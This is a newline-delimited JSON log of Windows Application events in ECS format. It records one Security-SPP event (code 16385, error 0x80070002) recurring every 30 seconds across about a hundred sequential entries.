{"@timestamp":1659067209508,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174225}}
{"@timestamp":1659067239514,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174226}}
{"@timestamp":1659067269520,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174227}}
{"@timestamp":1659067299525,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174228}}
{"@timestamp":1659067329531,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174229}}
{"@timestamp":1659067359537,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174230}}
{"@timestamp":1659067389543,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174231}}
{"@timestamp":1659067419548,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174232}}
{"@timestamp":1659067449554,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174233}}
{"@timestamp":1659067479561,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174234}}
{"@timestamp":1659067509592,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174235}}
{"@timestamp":1659067539599,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174236}}
{"@timestamp":1659067569607,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174237}}
{"@timestamp":1659067599614,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174238}}
{"@timestamp":1659067629621,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174239}}
{"@timestamp":1659067659628,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174240}}
{"@timestamp":1659067689635,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174241}}
{"@timestamp":1659067719641,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174242}}
{"@timestamp":1659067749646,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174243}}
{"@timestamp":1659067779652,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174244}}
{"@timestamp":1659067809658,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174245}}
{"@timestamp":1659067839663,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174246}}
{"@timestamp":1659067869669,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174247}}
{"@timestamp":1659067899676,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174248}}
{"@timestamp":1659067929683,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174249}}
{"@timestamp":1659067959689,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174250}}
{"@timestamp":1659067989695,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174251}}
{"@timestamp":1659068019702,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174252}}
{"@timestamp":1659068049707,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174253}}
{"@timestamp":1659068079713,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174254}}
{"@timestamp":1659068109719,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174255}}
{"@timestamp":1659068139725,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174256}}
{"@timestamp":1659068169731,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174257}}
{"@timestamp":1659068199737,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174258}}
{"@timestamp":1659068229743,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174259}}
{"@timestamp":1659068259749,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174260}}
{"@timestamp":1659068289757,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174261}}
{"@timestamp":1659068319766,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174262}}
{"@timestamp":1659068349774,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174263}}
{"@timestamp":1659068379781,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174264}}
{"@timestamp":1659068409789,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174265}}
{"@timestamp":1659068439797,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174266}}
{"@timestamp":1659068469806,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174267}}
{"@timestamp":1659068499814,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174268}}
{"@timestamp":1659068529821,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174269}}
{"@timestamp":1659068559828,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174270}}
{"@timestamp":1659068589834,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174271}}
{"@timestamp":1659068619842,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174272}}
{"@timestamp":1659068649849,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174273}}
{"@timestamp":1659068679855,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174274}}
{"@timestamp":1659068709863,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174275}}
{"@timestamp":1659068739870,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174276}}
{"@timestamp":1659068769876,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174277}}
{"@timestamp":1659068799884,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174278}}
{"@timestamp":1659068829890,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174279}}
{"@timestamp":1659068859897,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174280}}
{"@timestamp":1659068889904,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174281}}
{"@timestamp":1659068919912,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174282}}
{"@timestamp":1659068949919,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174283}}
{"@timestamp":1659068979925,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174284}}
{"@timestamp":1659069009931,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174285}}
{"@timestamp":1659069039937,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174286}}
{"@timestamp":1659069069943,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174287}}
{"@timestamp":1659069099949,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174288}}
{"@timestamp":1659069129956,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174289}}
{"@timestamp":1659069159964,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174290}}
{"@timestamp":1659069189971,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174291}}
{"@timestamp":1659069219977,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174292}}
{"@timestamp":1659069249983,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174293}}
{"@timestamp":1659069279989,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:39Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174294}}
{"@timestamp":1659069309997,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:09Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174295}}
{"@timestamp":1659069340005,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:40Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174296}}
{"@timestamp":1659069370011,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:10Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174297}}
{"@timestamp":1659069400018,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:40Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174298}}
{"@timestamp":1659069430025,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:10Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174299}}
{"@timestamp":1659069460031,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:40Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174300}}
{"@timestamp":1659069490038,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:10Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174301}}
{"@timestamp":1659069520046,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:40Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174302}}
{"@timestamp":1659069550053,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:10Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174303}}
{"@timestamp":1659069580059,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:40Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174304}}
{"@timestamp":1659069610066,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:10Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174305}}
{"@timestamp":1659069640093,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:40Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174306}}
{"@timestamp":1659069670104,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:10Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174307}}
{"@timestamp":1659069700111,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:40Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174308}}
{"@timestamp":1659069730118,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:10Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174309}}
{"@timestamp":1659069760125,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:40Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174310}}
{"@timestamp":1659069790131,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:10Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174311}}
{"@timestamp":1659069820138,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:40Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174312}}
{"@timestamp":1659069850144,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:10Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174313}}
{"@timestamp":1659069880151,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:40Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174314}}
{"@timestamp":1659069910157,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:10Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174315}}
{"@timestamp":1659069940163,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:40Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174316}}
{"@timestamp":1659069970171,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:10Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174317}}
{"@timestamp":1659070000178,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:40Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174318}}
{"@timestamp":1659070030186,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:10Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174319}}
{"@timestamp":1659070060193,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:40Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174320}}
{"@timestamp":1659070090200,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:10Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174321}}
{"@timestamp":1659070120207,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:40Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174322}}
{"@timestamp":1659070150213,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:10Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174323}}
{"@timestamp":1659070180220,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:40Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174324}}
{"@timestamp":1659070210227,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:10Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174325}}
{"@timestamp":1659070240233,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:40Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174326}}
{"@timestamp":1659070270240,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:10Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174327}}
{"@timestamp":1659070300249,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:40Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174328}}
{"@timestamp":1659070330256,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:10Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174329}}
{"@timestamp":1659070360265,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:40Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174330}}
{"@timestamp":1659070390272,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:10Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174331}}
{"@timestamp":1659070420279,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:40Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174332}}
{"@timestamp":1659070450286,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:10Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174333}}
